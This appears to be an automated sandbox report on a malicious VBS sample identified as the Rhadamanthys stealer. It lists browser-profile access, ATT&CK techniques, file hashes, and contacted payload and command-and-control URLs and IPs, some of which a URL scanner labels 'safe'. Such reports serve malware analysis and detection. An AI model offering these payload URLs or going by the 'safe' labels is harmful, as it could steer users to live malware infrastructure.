Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\thumbnails	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\settings\main\ms-language-packs	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\cache2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\settings\main\ms-language-packs\browser	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\cache2\entries	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior

Source: Yara match	File source: 0000000E.00000003.2172788749.0000024F6AAC9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2195173707.0000024F6AACB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2194338542.0000024F6AACA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2194235697.0000024F6AACC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2193874788.0000024F6AACC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000D.00000003.1943543611.0000000002DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1940336602.0000000000130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2033441930.0000000003510000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1955237609.00000000232F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526259B0 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		14_3_00007DF4526259B0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_000002075879D004 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		21_2_000002075879D004

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	111 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Extra Window Memory Injection	3 Obfuscated Files or Information	21 Input Capture	224 System Information Discovery	Remote Desktop Protocol	11 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Create Account	512 Process Injection	2 Software Packing	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	151 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ab.vbs	0%	ReversingLabs

Source	Detection	Scanner	Label
https://45.149.241.141:2023/6d41b386417b9c328d8/hkxh1h5h.v22gl	0%	Avira URL Cloud	safe
https://pts.group/ab/Laney.dsp	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
https://www.puneet.ae/ab/Laney.dsp	0%	Avira URL Cloud	safe
https://www.tdejb.com/ab/ab.bin	0%	Avira URL Cloud	safe
http://pts.group	0%	Avira URL Cloud	safe
https://pts.group	0%	Avira URL Cloud	safe
https://www.tdejb.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
time.cloudflare.com	162.159.200.1	true	false	high
ntp.nict.jp	61.205.120.130	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
gbg1.ntp.netnod.se	194.58.203.20	true	false	unknown
pts.group	68.66.226.116	true	false	unknown
tdejb.com	202.71.109.228	true	false	unknown
ntp.time.in.ua	62.149.0.30	true	false	high
ntp1.hetzner.de	213.239.239.164	true	false	unknown
time.facebook.com	129.134.25.123	true	false	high
gbg1.ntp.se	unknown	unknown	true	unknown
ts1.aco.net	unknown	unknown	true	unknown
www.tdejb.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pts.group/ab/Laney.dsp	false	Avira URL Cloud: safe	unknown
https://www.tdejb.com/ab/ab.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1555228381.0000021D90071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://45.149.241.141:2023/6d41b386417b9c328d8/hkxh1h5h.v22gl	svchost.exe	false	Avira URL Cloud: safe	unknown
https://www.puneet.ae/ab/Laney.dsp	powershell.exe, 00000004.00000002.1532725380.0000021D80225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000007.00000002.1749523122.0000000004ED1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1555228381.0000021D90071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000007.00000002.1781112542.0000000007998000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.tdejb.com/	msiexec.exe, 00000009.00000002.1959171271.0000000000642000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pts.group	powershell.exe, 00000004.00000002.1532725380.0000021D81C68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1532725380.0000021D80001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1532725380.0000021D80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1749523122.0000000004ED1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pts.group	powershell.exe, 00000004.00000002.1532725380.0000021D80225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.200.1	time.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
194.58.203.20	gbg1.ntp.netnod.se	Sweden	57021	NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	false
213.239.239.164	ntp1.hetzner.de	Germany	24940	HETZNER-ASDE	false
62.149.0.30	ntp.time.in.ua	Ukraine	15497	COLOCALLInternetDataCenterColoCALLUA	false
68.66.226.116	pts.group	United States	55293	A2HOSTINGUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
45.149.241.141	unknown	Germany	701	UUNETUS	true
61.205.120.130	ntp.nict.jp	Japan	17511	OPTAGEOPTAGEIncJP	false
202.71.109.228	tdejb.com	Malaysia	17971	TMVADS-APTM-VADSDCHostingMY	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568996
Start date and time:	2024-12-05 10:37:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ab.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@44/120@13/11
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 63% Number of executed functions: 191 Number of non-executed functions: 19
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 64.233.161.84, 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.19.238, 13.107.6.158, 23.218.208.109
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, clientservices.googleapis.com, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, l-0007.l-msedge.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com, b-0005.b-msedge.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, l-0007.config.skype.com, business.bing.com, clients.l.google.com, dual-a-0036.a-msedge.net
Execution Graph export aborted for target msiexec.exe, PID 6920 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7696 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8060 because it is empty
Execution Graph export aborted for target svchost.exe, PID 1448 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ab.vbs

Simulations

Behavior and APIs

Time	Type	Description
04:38:18	API Interceptor	1x Sleep call for process: WMIC.exe modified
04:38:26	API Interceptor	85x Sleep call for process: powershell.exe modified
04:39:40	API Interceptor	2x Sleep call for process: svchost.exe modified
04:40:02	API Interceptor	1x Sleep call for process: wmplayer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.200.1	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
	filezilla-3.17.0.0.0-installer_yr3oq-1.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.50.0_win64-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
162.159.61.3	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse
	17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse
	Readme.lnk.download.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	098aPtSbmd.bat	Get hash	malicious	RHADAMANTHYS	Browse
	loader.ps1.bat	Get hash	malicious	RHADAMANTHYS	Browse
	Documenti relativi alla violazione dei diritti di propriet#U00e0 intellettuale.lnk	Get hash	malicious	RHADAMANTHYS	Browse
194.58.203.20	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
213.239.239.164	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
62.149.0.30	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
62.149.0.30	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse
68.66.226.116	Bill Of Lading_MEDUVB935991.pdf.exe	Get hash	malicious	FormBook	Browse	www.myrideguy.net/kgyd/
	AL HAYAT DUBAI UAE PRODUCTION RFQ 2024.exe	Get hash	malicious	FormBook	Browse	www.myrideguy.net/kgyd/
	Parfumens.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.arkgracechurch.com/qgq0/?ehzP8J=UhfgO53CoFS/baI5kBVtB1g8e8T/vciqKxKj6nf60DcK4G69QwsDs9mnRzbZxr8Ky8ZlNqHuRR+isOSUfNtlT6JPmq1blVIczw==&obSf_=6mSb4d
	Afklde.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.arkgracechurch.com/qgq0/?RiMDw1pV=UhfgO53CoFS/baI5kBVtB1g8e8T/vciqKxKj6nf60DcK4G69QwsDs9mnRzbZxr8Ky8ZlNqHuRR+isOSUfNtlT6JPmq1blVIczw==&Yx5=ef1G-xddsOpF

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
time.cloudflare.com	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.200.1
gbg1.ntp.netnod.se	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	194.58.203.20
ntp.nict.jp	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	133.243.238.243
ntp.nict.jp	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	61.205.120.130
chrome.cloudflare-dns.com	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse	172.64.41.3
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	B3N4x4meoJ.bat	Get hash	malicious	Unknown	Browse	172.64.41.3
	Readme.lnk.download.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	098aPtSbmd.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
ntp.time.in.ua	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
ntp.time.in.ua	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	62.149.0.30
ntp1.hetzner.de	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	213.239.239.164

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	194.58.203.20
	regscs.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	PREVIOUS CONVERSATION.pdf.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	OUTSTANDING_DEBTS.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	NEW PURCHASE ORDER.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	Banking_cordinates_928273.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	WebMonitor RAT	Browse	194.58.200.20
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://click.pstmrk.it/3s/bmxn8t84vg.gherapilta.shop%2F/ySDk/28y5AQ/AQ/e82f1f59-f734-42be-affb-895d81855fb4/1/pD2JDTOBnb	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	172.67.156.195
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	RFQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	BACS190027-01.pdf	Get hash	malicious	Unknown	Browse	172.66.42.208
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.181.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
HETZNER-ASDE	mg.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	mj.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	ap.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	cu.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	Scripts_Obfusque.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	ni.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	88.99.61.52
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSLMas8wKe7Ih4zqBiyHkarn0j5lOr9uX2Ipi5t6mu5SV-2B1JsyP5-2FhfNtTtQOlKj0flyS3vwLeKaJ6ckzVjuZims-3DLeyB_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aTBg62vcUAgkYbCAf46MpAyc7W7GFqvL6adNxNCTlmXTIiiRHR0fGeBxBsxNA5VbYoJQJb-2FJYi0QkLgjAoVYrRvTi1dn7pPo7PbeQWMcs70s7UFE7WeCgk9rDpKP4binyuu0CEbckceaS6ycGVUXPi2325g7v8hitus3ay9MICEoPWHxYePXARIxPiq-2FS9xmhqxVG-2BsRc9-2BU2VqX-2BZB9nYYuSKeNDIvkVaXKl7x-2FFSxF7xXa4BaT30eg9SUGZbRvZ8-3D#C	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	5.9.227.67
	Ttok18.exe	Get hash	malicious	Vidar	Browse	159.69.102.165
	jtkhikadjthsad.exe	Get hash	malicious	Vidar	Browse	159.69.102.165

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	mg.vbs	Get hash	malicious	Unknown	Browse	68.66.226.116
	mj.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	ap.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	cu.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	Scripts_Obfusque.vbs	Get hash	malicious	Unknown	Browse	68.66.226.116
	ni.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	68.66.226.116
	RFQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	68.66.226.116
	31#U544a.exe	Get hash	malicious	CobaltStrike	Browse	68.66.226.116
	R7bv9d6gTH.dll	Get hash	malicious	Unknown	Browse	68.66.226.116
37f463bf4616ecd445d4a1937da06e19	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.71.109.228
	comp#U00e1rtilhar080425-000800-66000544000.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	file.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	file.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	comp#U00e1rtilhar080425-000800-66000544000.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	venomderek.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	202.71.109.228
	Ttok18.exe	Get hash	malicious	Vidar	Browse	202.71.109.228
	jtkhikadjthsad.exe	Get hash	malicious	Vidar	Browse	202.71.109.228
	file.exe	Get hash	malicious	Vidar	Browse	202.71.109.228
caec7ddf6889590d999d7ca1b76373b6	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	45.149.241.141
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	UGcjMkPWwW.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	XAhzDHAVZ2.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	TctqdRX5Wq.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	g753nr4GI9.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	msvcp110.dll	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	qsKo.ps1	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	DCF368HPtv.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067110937542161
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqB:2JIB/wUKUKQncEmYRTwh09
MD5:	568E13B71AADAE3607D23C035B3A2BFB
SHA1:	8EBD71CF9FEC5AEA904A9DB0CA29B8AFC1B382B0
SHA-256:	28C9F81D20133857BFB930BBA965F52EF08CF24C3849D8D92A62362561AE52E9
SHA-512:	06423E8C7C613122C63CF67BD048BA9DE52DD6E0F6E62960163877489E06F20CD8F7676242BA5D1B99AEBBD5A38FAF634F444B7CB47D8FAD93434757F60BA670
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x629d91e6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900431498401911
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	05C472A5A5A52996D610519C9844BAB1
SHA1:	BB085C9980E6A8008D07C51A99D95E3EE8A1FF97
SHA-256:	CB57ECC7B9B76CDE828E92B30FD7BBE0BBA09D2194116F21932E75A360ABE625
SHA-512:	95049ADCB8740B123CC7C5EF96C0DC4EE503CC1DD20A0B2C39C275954D8082685100BB2E7EE82EA79C4A2FCC515143853D1EE38C4300F0B6F1B6C7DCDF2EFD3C
